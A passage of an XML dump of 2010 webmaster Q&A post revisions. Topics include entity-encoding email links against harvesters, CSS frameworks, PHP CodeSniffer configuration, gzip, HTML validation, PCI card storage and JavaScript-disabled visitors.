http://www.google.com/support/webmasters/bin/answer.py?answer=114016&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=156184&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1959" PostHistoryTypeId="2" PostId="1091" RevisionGUID="dd39eaf0-5f82-460b-acc2-aecf1e9466d7" CreationDate="2010-07-16T21:15:02.503" UserId="527" Text="I use a simple Python script to convert the e-mail address into an mailto link where the e-mail address is HTML entity encoded. This is completely transparent to the user, but seems to obscure the contents enough to defeat most simpleminded harvesting bots.&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/env python3.0&#xD;&#xA;    &#xD;&#xA;    def entity_encode(text):&#xD;&#xA;    	out = &quot;&quot;&#xD;&#xA;    	ba = text.encode()&#xD;&#xA;    	for i in range(len(ba)):&#xD;&#xA;    		out = out + &quot;&amp;#x{0:02x};&quot;.format (ba[i])&#xD;&#xA;    	return out&#xD;&#xA;    &#xD;&#xA;    def print_email_link(address) :&#xD;&#xA;            print('&lt;!-- {0} --&gt;'.format(address))&#xD;&#xA;            print('&lt;a href=&quot;{0}{1}&quot;&gt;{1}&lt;/a&gt;'.format(entity_encode(&quot;mailto:&quot;), entity_encode(address)))&#xD;&#xA;            &#xD;&#xA;    &#xD;&#xA;    print_email_link(&quot;test123@example.com&quot;)&#xD;&#xA;&#xD;&#xA;This gives the output&#xD;&#xA;&#xD;&#xA;    &lt;!-- test123@example.com --&gt;&#xD;&#xA;    &lt;a href=&quot;&amp;#x6d;&amp;#x61;&amp;#x69;&amp;#x6c;&amp;#x74;&amp;#x6f;&amp;#x3a;&amp;#x74;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x31;&amp;#x32;&amp;#x33;&amp;#x40;&amp;#x65;&amp;#x78;&amp;#x61;&amp;#x6d;&amp;#x70;&amp;#x6c;&amp;#x65;&amp;#x2e;&amp;#x63;&amp;#x6f;&amp;#x6d;&quot;&gt;&amp;#x74;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x31;&amp;#x32;&amp;#x33;&amp;#x40;&amp;#x65;&amp;#x78;&amp;#x61;&amp;#x6d;&amp;#x70;&amp;#x6c;&amp;#x65;&amp;#x2e;&amp;#x63;&amp;#x6f;&amp;#x6d;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Obviously, I delete the comment with the plain ASCII version once I've pasted the obscured e-mail link into the web page's HTML source.&#xD;&#xA;" />
  <row Id="1960" PostHistoryTypeId="2" PostId="1092" RevisionGUID="1c04b357-fabf-4cc5-be54-54076fc6a721" CreationDate="2010-07-16T22:12:55.793" UserId="108" Text="You can always do 2 level deep navigation or one like the one at http:www.godaddy.com but if you have more than 100 pages then I think there is better ways to do it.  &#xD;&#xA;&#xD;&#xA;When you have a lot of links I think a very strong Search feature is key and a great set of site map pages.  I have noticed that almost 50% of the people that use the site I work on search for products rather than using the navigation.  The company  work for has over 100 product pages and everything get complex pretty quickly.&#xD;&#xA;&#xD;&#xA;Also, an alphabetized site map is probably going to work wonders.  If you look at companies with a ton of content like Google and the like they end up having pages that are basically site maps with a few images and graphic elements to make it work better. &#xD;&#xA;&#xD;&#xA;Also, remember who you are targeting.  I would guess that if you are working on a gov site then you probably have a lot of users who are not necessarily net savvy and/or have slower computers.  So if you build your nav around ajax or javascript they may have issues.  Using simple tools wins out a lot of the time when it comes to good web design." />
  <row Id="1961" PostHistoryTypeId="2" PostId="1093" RevisionGUID="76c7d934-c78f-4aca-a2f4-1cc88e0877eb" CreationDate="2010-07-16T22:26:31.803" UserId="210" Text="I just found [Design Shack][1] the other. Some great ideas and tips.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://designshack.co.uk/" />
  <row Id="1962" PostHistoryTypeId="2" PostId="1094" RevisionGUID="b2762c27-9672-4da6-85fd-5b7924cbe8a2" CreationDate="2010-07-16T23:14:09.323" UserId="316" Text="I also recommend using a reset.css from Eric Meyer, but I think that CSS &quot;frameworks&quot; can be beneficial for layout. Blueprint, YUI grid, and 960-grid can help you achieve some highly complicated layouts without writing the css yourself.&#xD;&#xA;&#xD;&#xA;While there are drawbacks that have been mentioned, the same could be said about building a website off a CMS instead of rolling custom code for example, but they can still be useful and for many sites the benefits gained outweigh any extraneous css or performance issues." />
  <row Id="1963" PostHistoryTypeId="5" PostId="916" RevisionGUID="35ea3502-37fe-4e9f-bbb9-343cd90dfe6d" CreationDate="2010-07-16T23:21:28.670" UserId="101" Comment="Just an edit" Text="I'm currently using godaddy for all of my company domains, and I'm very unsatisfied with their service, specially with their site, so we are trying to migrate those domains to another provider. The question is, How do I transfer my domains to another domain registrar? I'm not talking about transferring domain records (A, MX...) but to use the same domains with another provider, and redo all the configuration again.&#xD;&#xA;&#xD;&#xA;For example, one of our blogs is hosted in Slicehost and we feel very confortable with their record editing tool.&#xD;&#xA;&#xD;&#xA;As I have read prowebmasters I can see other people not very satisfied with Godaddy service. Thanks!&#xD;&#xA;&#xD;&#xA;**edit:** Thanks for the answers, they were all very informative." />
  <row Id="1964" PostHistoryTypeId="2" PostId="1095" RevisionGUID="fc52a276-3fd4-4562-a25a-3dbf9107547c" CreationDate="2010-07-16T23:25:39.320" UserId="500" Text="We have a PHP 5 web application and we're currently evaluating [PHP CodeSniffer][1] in order to decide whether forcing code standards improves code quality without causing too much of a headache. If it seems good we will add a SVN pre-commit hook to ensure all new files committed on the dev branch are free from coding standard smells.&#xD;&#xA;&#xD;&#xA;Is there a way to configure PHP codeSniffer to ignore a particular type of error? or get it to treat a certain error as a warning instead?&#xD;&#xA;&#xD;&#xA;Here an example to demonstrate the issue:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;        &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;div&gt;&#xD;&#xA;        &lt;?php&#xD;&#xA;        echo getTabContent('Programming', 1, $numX, $numY);&#xD;&#xA;    &#xD;&#xA;        if (isset($msg)) {&#xD;&#xA;            echo $msg;&#xD;&#xA;        }&#xD;&#xA;        ?&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;And this is the output of PHP_CodeSniffer:&#xD;&#xA;&#xD;&#xA;    &gt; phpcs test.php &#xD;&#xA;    &#xD;&#xA;    --------------------------------------------------------------------------------&#xD;&#xA;    FOUND 2 ERROR(S) AND 1 WARNING(S) AFFECTING 3 LINE(S)&#xD;&#xA;    --------------------------------------------------------------------------------&#xD;&#xA;      1 | WARNING | Line exceeds 85 characters; contains 121 characters&#xD;&#xA;      9 | ERROR   | Missing file doc comment&#xD;&#xA;     11 | ERROR   | Line indented incorrectly; expected 0 spaces, found 4&#xD;&#xA;    --------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;I have a issue with the &quot;*Line indented incorrectly*&quot; error. I guess it happens because I am mixing the PHP indentation with the HTML indentation. But this makes it more readable doesn't it? (*taking into account that I don't have the resouces to move to a MVC framework right now*). So I'd like to ignore it please.&#xD;&#xA;&#xD;&#xA;  [1]: http://pear.php.net/package/PHP_CodeSniffer" />
  <row Id="1965" PostHistoryTypeId="1" PostId="1095" RevisionGUID="fc52a276-3fd4-4562-a25a-3dbf9107547c" CreationDate="2010-07-16T23:25:39.320" UserId="500" Text="How to ignore certain coding standard errors in PHP CodeSniffer" />
  <row Id="1966" PostHistoryTypeId="3" PostId="1095" RevisionGUID="fc52a276-3fd4-4562-a25a-3dbf9107547c" CreationDate="2010-07-16T23:25:39.320" UserId="500" Text="&lt;standards&gt;&lt;code&gt;" />
  <row Id="1967" PostHistoryTypeId="5" PostId="1095" RevisionGUID="6fe4dcdd-1c50-4a33-864a-f7b8d374fb95" CreationDate="2010-07-16T23:28:06.443" UserId="3" Comment="deleted 16 characters in body" Text="We have a PHP 5 web application and we're currently evaluating [PHP CodeSniffer][1] in order to decide whether forcing code standards improves code quality without causing too much of a headache. If it seems good we will add a SVN pre-commit hook to ensure all new files committed on the dev branch are free from coding standard smells.&#xD;&#xA;&#xD;&#xA;Is there a way to configure PHP codeSniffer to ignore a particular type of error? or get it to treat a certain error as a warning instead?&#xD;&#xA;&#xD;&#xA;Here an example to demonstrate the issue:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;        &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;div&gt;&#xD;&#xA;        &lt;?php&#xD;&#xA;        echo getTabContent('Programming', 1, $numX, $numY);&#xD;&#xA;    &#xD;&#xA;        if (isset($msg)) {&#xD;&#xA;            echo $msg;&#xD;&#xA;        }&#xD;&#xA;        ?&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;And this is the output of PHP_CodeSniffer:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&amp;gt; phpcs test.php &#xD;&#xA;&#xD;&#xA;--------------------------------------------------------------------------------&#xD;&#xA;FOUND 2 ERROR(S) AND 1 WARNING(S) AFFECTING 3 LINE(S)&#xD;&#xA;--------------------------------------------------------------------------------&#xD;&#xA;  1 | WARNING | Line exceeds 85 characters; contains 121 characters&#xD;&#xA;  9 | ERROR   | Missing file doc comment&#xD;&#xA; 11 | ERROR   | Line indented incorrectly; expected 0 spaces, found 4&#xD;&#xA;--------------------------------------------------------------------------------&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I have a issue with the &quot;*Line indented incorrectly*&quot; error. I guess it happens because I am mixing the PHP indentation with the HTML indentation. But this makes it more readable doesn't it? (*taking into account that I don't have the resouces to move to a MVC framework right now*). So I'd like to ignore it please.&#xD;&#xA;&#xD;&#xA;  [1]: http://pear.php.net/package/PHP_CodeSniffer&#xD;&#xA;" />
  <row Id="1968" PostHistoryTypeId="10" PostId="1055" RevisionGUID="b49db932-e320-4544-937d-78b3c96a9c7c" CreationDate="2010-07-16T23:51:00.257" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="1969" PostHistoryTypeId="5" PostId="1055" RevisionGUID="6d340ed7-f6c9-4b22-8cff-1ebbf66957cb" CreationDate="2010-07-16T23:51:00.383" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to implement cross browser css?](http://webmasters.stackexchange.com/questions/971/what-are-the-best-ways-to-implement-cross-browser-css)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a site that looks more or less the same in all browsers except Internet Explorer (version 7 and below).  How do I create styles that only IE7 and below will recognize?" />
  <row Id="1971" PostHistoryTypeId="2" PostId="1096" RevisionGUID="c29e9148-97f9-4adb-a08c-f46646594844" CreationDate="2010-07-17T00:40:44.853" UserId="124" Text="I use the Bourne shell for portability, Bash for its greater power than `sh` (arrays, etc.), `ksh` when Bash is not available and Python when I need speed and greater power than Bash.&#xD;&#xA;&#xD;&#xA;I do also use full-fledged AWK scripts (in addition to snippets in shell scripts) for field and record manipulation. And I like to push the envelope with `sed` sometimes. It's Turing complete, but its scripts are a bear to read after some time has elapsed." />
  <row Id="1972" PostHistoryTypeId="16" PostId="1096" RevisionGUID="c29e9148-97f9-4adb-a08c-f46646594844" CreationDate="2010-07-17T00:40:44.853" UserId="-1" />
  <row Id="1973" PostHistoryTypeId="2" PostId="1097" RevisionGUID="a551215e-4970-4e53-a0d2-c09f3909cd87" CreationDate="2010-07-17T00:51:07.203" UserId="116" Text="no love for python in your little list there I see? its a very versatile language for both scripting and server admin in the right hands. [here's][1] something to get you started if your interested &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibm.com/developerworks/aix/library/au-python/" />
  <row Id="1974" PostHistoryTypeId="16" PostId="1097" RevisionGUID="a551215e-4970-4e53-a0d2-c09f3909cd87" CreationDate="2010-07-17T00:51:07.203" UserId="-1" />
  <row Id="1975" PostHistoryTypeId="10" PostId="1059" RevisionGUID="4dcfbc0c-d8ad-435f-a935-7b0cfe0a85d5" CreationDate="2010-07-17T01:16:09.907" UserId="-1" CloseReasonId="3" Text="[{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;rchern&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;}]" />
  <row Id="1979" PostHistoryTypeId="2" PostId="1099" RevisionGUID="311d6f5a-861a-4760-bb7f-03563381f9b1" CreationDate="2010-07-17T01:48:57.193" UserId="539" Text="If you’re actually implementing a design of your own, you’re going to write some of your own CSS (unless someone else happens to have written the exact design you want).&#xD;&#xA;&#xD;&#xA;Assuming you are writing some of your own CSS, “frameworks” can be useful when you’ve got styles that are:&#xD;&#xA;&#xD;&#xA;1. used in more than one place; and&#xD;&#xA;2. complicated enough to break off into their own classes&#xD;&#xA;&#xD;&#xA;For really simple styles, it’s better to use classes to indicate *what* something is (e.g. `class=&quot;navigation&quot;`), and then define its look by applying style rules to that class in your stylesheet.&#xD;&#xA;&#xD;&#xA;But for more complex styles that aren’t necessarily tied to any one element (e.g. layout-related styles, the kind that frameworks gives names like `.span3` to), there’s nothing wrong with putting them in a class, and applying that class in the CSS. You can use both approaches together.&#xD;&#xA;&#xD;&#xA;In bigger, more complex sites where elements are likely to be combined in unpredictable ways, a framework-like approach can really help keep your code manageable.&#xD;&#xA;&#xD;&#xA;I would say that you might as well write your own “framework” though. I put “framework” in quotes because CSS really isn’t that big a language. You could read CSS: The Definitive Guide (Eric Meyer) in a day, then read all the code in e.g. Blueprint (a CSS “framework”) and pretty much understand what’s going on. You might need to research the IE workarounds a bit, but we’re talking at least an order of magnitude less complexity than e.g. jQuery here." />
  <row Id="1980" PostHistoryTypeId="2" PostId="1100" RevisionGUID="122debe1-be92-48f8-840e-a0fd0dde5fc6" CreationDate="2010-07-17T01:51:31.353" UserId="539" Text="This doesn’t offer an opinion on importance, but it’s a useful delta between HTMLs 4 and 5.&#xD;&#xA;&#xD;&#xA;- http://www.w3.org/TR/2010/WD-html5-diff-20100624/&#xD;&#xA;&#xD;&#xA;My 2¢ on the main improvements:&#xD;&#xA;&#xD;&#xA;- `&lt;section&gt;` and the new header outlining algorithm (I did say it was just *my* 2¢)&#xD;&#xA;- new form elements, e.g. `&lt;input type=email&gt;`&#xD;&#xA;- data attributes&#xD;&#xA;- client-side storage&#xD;&#xA;- native `&lt;audio&gt;` and `&lt;video&gt;`" />
  <row Id="1982" PostHistoryTypeId="2" PostId="1102" RevisionGUID="6b994e09-a648-435a-b0db-e51b49fefe51" CreationDate="2010-07-17T02:04:15.737" UserId="539" Text="Others have said it, but they just haven’t rammed the point home enough: gzipping.&#xD;&#xA;&#xD;&#xA;1. Virtually no effort, or drawbacks.&#xD;&#xA;2. In my limited experience, reduces HTML size by between 60% and 90%.&#xD;&#xA;&#xD;&#xA;All the other tweaks you can make to HTML require more effort/maintenance, and hardly have any effect compared to just gzipping and forgetting. They’re simply not worth the time unless you‘re Google. You are not Google.&#xD;&#xA;&#xD;&#xA;(As others have mentioned though, the more consistent your HTML is, the more effect gzipping will have, as — according to my limited understanding — gzipping looks for identical strings in your file, and replaces each repeated instance with a tiny code referring to the original. So authoring practices like keeping your attributes in the same order, and keeping all your casing the same, can help gzipping do its work.)" />
  <row Id="1983" PostHistoryTypeId="2" PostId="1103" RevisionGUID="e89ccfa0-651c-43b5-b66b-d3ae99d906f6" CreationDate="2010-07-17T02:07:29.193" UserDisplayName="daveilers" Text="A great book on design in general:&#xD;&#xA;The non-designer's design book, by Robin Williams&#xD;&#xA;&#xD;&#xA;http://www.peachpit.com/store/product.aspx?isbn=0321534042" />
  <row Id="1984" PostHistoryTypeId="2" PostId="1104" RevisionGUID="41a85a0b-474b-432e-aa31-546d0ce475b1" CreationDate="2010-07-17T02:08:33.417" UserId="539" Text="Some HTML validation errors can cause non-obvious layout issues (e.g. wrongly nested/unclosed tags), JavaScript bugs (e.g. using an `id` more than once), and issues for some users (e.g. not including a meaningful or blank `alt` attribute on images).&#xD;&#xA;&#xD;&#xA;If all our pages validate, that’s a nice automated check you can do to rule out sources of errors. If you leave some validation errors in because you know they’re not causing any harm, your check is no longer automated: you have to look at each error, and remember that it’s okay. Personally, I prefer it when computers reduce the amount of work I have to do rather than increase it." />
  <row Id="1986" PostHistoryTypeId="2" PostId="1106" RevisionGUID="cb0516fd-da94-47d2-86b6-5ba8317011ee" CreationDate="2010-07-17T02:12:48.180" UserId="539" Text="Quirks Mode makes IE 6 and 7 render CSS differently than the standards say they should.&#xD;&#xA;&#xD;&#xA;Standards mode makes IE 6 &amp; 7 render CSS closer to the standards than Quirks Mode does, and thus closer to how Firefox, Safari, Chrome, Opera, and IE 8/9 render it.&#xD;&#xA;&#xD;&#xA;Using standards mode means you have fewer weird old IE issues to hold in your head when you’re trying to make a freaking page work. It means you can use books like CSS: The Definitive Guide by Eric Meyer to look up what your page *should* be doing. IE’s Quirks Mode doesn’t have the same sort of comprehensive documentation." />
  <row Id="1987" PostHistoryTypeId="2" PostId="1107" RevisionGUID="9199ca1a-5e33-4c13-b530-c43fdacf992d" CreationDate="2010-07-17T03:15:07.073" UserId="558" Text="You're going to run into a lot of issues running PHPCS with your PHP code mixed in with HTML. PHPCS is only really useful when you parse pure PHP scripts. The built-in coding standards are built around pure PHP, not mixed PHP/HTML.&#xD;&#xA;&#xD;&#xA;One option would be to build your own custom standard and using that instead. The custom standard would take into account the mixing of code, but it would probably be a pain to write.&#xD;&#xA;&#xD;&#xA;The other option is to use a templating system since you said you don't want to move to a framework. [Smarty][1] and [Twig][2] can both be used outside of an MVC framework. Move to one of those and then have PHPCS only parse the .PHP files, not the template files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smarty.net/&#xD;&#xA;  [2]: http://www.twig-project.org/" />
  <row Id="1988" PostHistoryTypeId="2" PostId="1108" RevisionGUID="a728c77d-4936-48b9-8ba6-cec06b98f468" CreationDate="2010-07-17T04:02:23.597" UserId="3" Text="It probably isn't worth it.&#xD;&#xA;&#xD;&#xA;I've [played with removing whitespace in HTML][1] a little bit, and saw only a 10% size reduction in payload after gzipping.&#xD;&#xA;&#xD;&#xA;&gt; Realistically, whitespace and linefeed removal is doing work that the compression would be doing for us. We're just adding a dab of human-assisted efficiency:&#xD;&#xA;&gt; &#xD;&#xA;&gt; &lt;pre&gt;&#xD;&#xA;&gt;                   Raw          Compressed&#xD;&#xA;&gt; Unoptimized CSS   2,299 bytes   671 bytes&#xD;&#xA;&gt; Optimized CSS     1,758 bytes   615 bytes&#xD;&#xA;&gt; &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;(yes this says CSS but the same basic rules apply to HTML as well)&#xD;&#xA;&#xD;&#xA;The problem is,&#xD;&#xA;&#xD;&#xA;1. GZIP is doing 90% of the work for you, so this is a crazy micro-optimization. I mean, maybe if you're Google or Yahoo.&#xD;&#xA;2. That 10% additional size reduction comes at the rather steep cost of completely unreadable HTML in &quot;view source&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.codinghorror.com/blog/2007/03/reducing-your-websites-bandwidth-usage.html" />
  <row Id="1989" PostHistoryTypeId="2" PostId="1109" RevisionGUID="d3ba1f37-6ff7-4ca1-b473-1f261622ddb1" CreationDate="2010-07-17T04:07:34.557" UserId="3" Text="I think it's definitely *worth doing*, but you should never be a slave to validation -- it's a fool's game.&#xD;&#xA;&#xD;&#xA;http://www.codinghorror.com/blog/2009/03/html-validation-does-it-matter.html&#xD;&#xA;&#xD;&#xA;1. **Validate your HTML.** Know what it means to have valid HTML markup. Understand the tooling. More information is always better than less information. Why fly blind?&#xD;&#xA;&#xD;&#xA;2. **Nobody cares if your HTML is valid. Except you.** If you want to. Don't think for a second that producing perfectly valid HTML is more important than running your website, delivering features that delight your users, or getting the job done." />
  <row Id="1991" PostHistoryTypeId="2" PostId="1111" RevisionGUID="b9254fff-4fe6-402c-b883-defc2b56585b" CreationDate="2010-07-17T04:16:33.177" UserId="3" Text="I highly recommend the book&#xD;&#xA;&#xD;&#xA;[Information Architecture for the World Wide Web][1]&#xD;&#xA;&#xD;&#xA;[![book title][2]][1]&#xD;&#xA;&#xD;&#xA;Which covers a lot of really good UI design topics on web navigation.&#xD;&#xA;&#xD;&#xA;[1]: http://www.amazon.com/Information-Architecture-World-Wide-Web/dp/0596527349/&#xD;&#xA;[2]: http://ecx.images-amazon.com/images/I/51lV2RkF%2B0L._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg" />
  <row Id="1992" PostHistoryTypeId="5" PostId="1068" RevisionGUID="2f1d4f53-30c1-4bfc-b6af-79b637061702" CreationDate="2010-07-17T04:17:27.640" UserId="3" Comment="added 7 characters in body" Text="The full Guidelines are here: http://code.google.com/appengine/program_policies.html&#xD;&#xA;&#xD;&#xA;From what I read you can use the App Engine for commercial purposes.  From what I read Google lets you use it for free to get a taste for what it can do.  There specific usage limit is &#xD;&#xA;&#xD;&#xA;&gt; An application on a free account can use up to 500MB of storage and up to 5 million page views a month&#xD;&#xA;&#xD;&#xA;found in http://code.google.com/appengine/docs/whatisgoogleappengine.html.&#xD;&#xA;&#xD;&#xA;So basically it is free for any use deemed as legal within their policies (no spam, porn, etc) up to the limit.  Once you go beyond that you will have to pay for your usage." />
  <row Id="1993" PostHistoryTypeId="5" PostId="1040" RevisionGUID="3951eba0-aa3c-4d62-af74-9ae30cb6d4d3" CreationDate="2010-07-17T04:19:41.443" UserId="3" Comment="deleted 17 characters in body" Text="I was going to post this as a comment but just since you wrote &quot;My website isn't built yet&quot;, please take a look at the limits for a free account:&#xD;&#xA;&#xD;&#xA;http://code.google.com/appengine/docs/quotas.html#Resources&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;                     Per day            Per minute&#xD;&#xA;Requests             1.3m requests      7,400 requests/minute&#xD;&#xA;Outgoing Bandwidth   1 gb               56 mb/minute&#xD;&#xA;Incoming Bandwidth   1 gb               56 mb/minute&#xD;&#xA;CPU Time             6.5 CPU-hours      15 CPU-minutes/minute&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;If you think you will use a lot more than that, it's one serious web site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1994" PostHistoryTypeId="2" PostId="1112" RevisionGUID="8e1d7844-d236-43b1-8fc8-4e6d93e343bc" CreationDate="2010-07-17T04:20:48.323" UserId="558" Text="&gt; We have to store them, and I need to make sure the storage is safe!&#xD;&#xA;&#xD;&#xA;One question: Why? &#xD;&#xA;&#xD;&#xA;I only ask that because I have to deal with PCI myself, and keeping up with it is a pain. Even though my daily work qualifies us as the lowest rung for PCI compliance, there is still a lot that goes into it. Encryption, least privilege considerations, server OS security, internal network security, border security, third party audits... it is all a lot to keep up with. And that's even with us not storing credit card info!&#xD;&#xA;&#xD;&#xA;(Sidenote: If you're doing e-commerce, you have to be PCI compliant even if you aren't storing the CC data. If you aren't complaint now, consider yourself lucky it hasn't bitten you yet.)&#xD;&#xA;&#xD;&#xA;Look into having your processor handle it. We use Authorize.net and they have a wonderful API so that we can build our own custom front-end, but they take care of storing and dealing with the actual payments. If we wanted to set up reoccurring billing, they have a system to store the information. Honestly, I trust them more than I trust myself." />
  <row Id="1995" PostHistoryTypeId="10" PostId="978" RevisionGUID="6dd17b11-86c4-4b01-861b-3ac6f06c6279" CreationDate="2010-07-17T04:20:56.183" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;rchern&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="1996" PostHistoryTypeId="5" PostId="978" RevisionGUID="0a4512e9-9f75-486f-9674-29af35c6a3e6" CreationDate="2010-07-17T04:20:56.263" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;How do I get Google to display the navigation for my site like it does for others?&#xD;&#xA;&#xD;&#xA;For example, take the search results for **'Microsoft'**:&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://files.quickmediasolutions.com/google_example.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;How do I get my site to display navigation like that? It's already the first entry for certain keywords." />
  <row Id="1997" PostHistoryTypeId="2" PostId="1113" RevisionGUID="823c4fd6-ff39-47de-92dd-69bcc5677f65" CreationDate="2010-07-17T04:30:15.850" UserId="3" Text="I definitely recommend using the `rel=&quot;tag&quot;` microformat attribute.&#xD;&#xA;&#xD;&#xA;http://microformats.org/wiki/rel-tag&#xD;&#xA;&#xD;&#xA;I have [mixed feelings about microformats in general][1] but this one is quite easy and simple, and has no downside.&#xD;&#xA;&#xD;&#xA;You can see how we do it in our engine right here, for this very question, tagged [seo] and [tags]&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/questions/tagged/seo&quot; class=&quot;..&quot; title=&quot;..&quot; rel=&quot;tag&quot;&gt;&#xD;&#xA;    &lt;a href=&quot;/questions/tagged/tags&quot; class=&quot;..&quot; title=&quot;..&quot; rel=&quot;tag&quot;&gt;&#xD;&#xA;&#xD;&#xA;[1]: http://www.codinghorror.com/blog/2009/12/microformats-boon-or-bane.html" />
  <row Id="1999" PostHistoryTypeId="2" PostId="1114" RevisionGUID="5859e65e-415f-4032-a31a-43c02123e222" CreationDate="2010-07-17T04:43:02.090" UserId="565" Text="I know that busy phpBB forums can be resource intensive, but haven't run one myself, and can't find any sort of quantification of that. How do I plan hosting needs given an expected load of users/logins/posts/etc? My current setup won't be adequate, but I have no idea how much more I'll need.&#xD;&#xA;&#xD;&#xA;It seems like this must have been addressed before but any query with the terms 'phpBB hosting' has been SEO'd to death and turns up nothing but ads for hosting services." />
  <row Id="2000" PostHistoryTypeId="1" PostId="1114" RevisionGUID="5859e65e-415f-4032-a31a-43c02123e222" CreationDate="2010-07-17T04:43:02.090" UserId="565" Text="Are there any capacity planning resources for phpBB?" />
  <row Id="2001" PostHistoryTypeId="3" PostId="1114" RevisionGUID="5859e65e-415f-4032-a31a-43c02123e222" CreationDate="2010-07-17T04:43:02.090" UserId="565" Text="&lt;web-hosting&gt;&lt;planning&gt;" />
  <row Id="2002" PostHistoryTypeId="2" PostId="1115" RevisionGUID="b4041dee-d19e-400b-a493-44328e3d03f2" CreationDate="2010-07-17T05:01:08.040" UserId="485" Text="If you have developed a JavaScript based website, is it worth doing the extra work to make it accessible for visitors who don't have JavaScript enabled?&#xD;&#xA;&#xD;&#xA;* What percentage of visitors are in this position?&#xD;&#xA;* Which browsers does it particularly affects?&#xD;&#xA;* Are mobile devices JavaScript enabled?" />
  <row Id="2003" PostHistoryTypeId="1" PostId="1115" RevisionGUID="b4041dee-d19e-400b-a493-44328e3d03f2" CreationDate="2010-07-17T05:01:08.040" UserId="485" Text="Can we ignore visitors without JavaScript enabled?" />
  <row Id="2004" PostHistoryTypeId="3" PostId="1115" RevisionGUID="b4041dee-d19e-400b-a493-44328e3d03f2" CreationDate="2010-07-17T05:01:08.040" UserId="485" Text="&lt;javascript&gt;" />
  <row Id="2005" PostHistoryTypeId="2" PostId="1116" RevisionGUID="44dceb52-a58e-4789-9f8b-ec14f8c750a9" CreationDate="2010-07-17T05:30:54.343" UserId="108" Text="According to http://visualrevenue.com/blog/2007/08/eu-and-us-javascript-disabled-index.html, data collected in 2007, 1.04% have it disabled in the EU, and 3.05% have it disabled in the US.  The data is a little old but if you look at the trend set from 2006 to 2007 the number of people with it disabled is going down.  By now the numbers could be lower.&#xD;&#xA;&#xD;&#xA;Disabled JavaScript is really browser independent.  All browsers allow you to turn JavaScript off but I believe they all default to having it on.&#xD;&#xA;&#xD;&#xA;In general, I wouldn't worry about making your main version of your site work without JavaScript.  Most people understand that in order to have a rich experience on the web they need it enabled.&#xD;&#xA;&#xD;&#xA;Finally, as for mobile devices.  The acceptance rate is lower I believe but I can't give numbers.  In general you want to have a different version of your site for mobile browsers anyways because things like mouse over don't work well in mobile touch-screen browsers." />
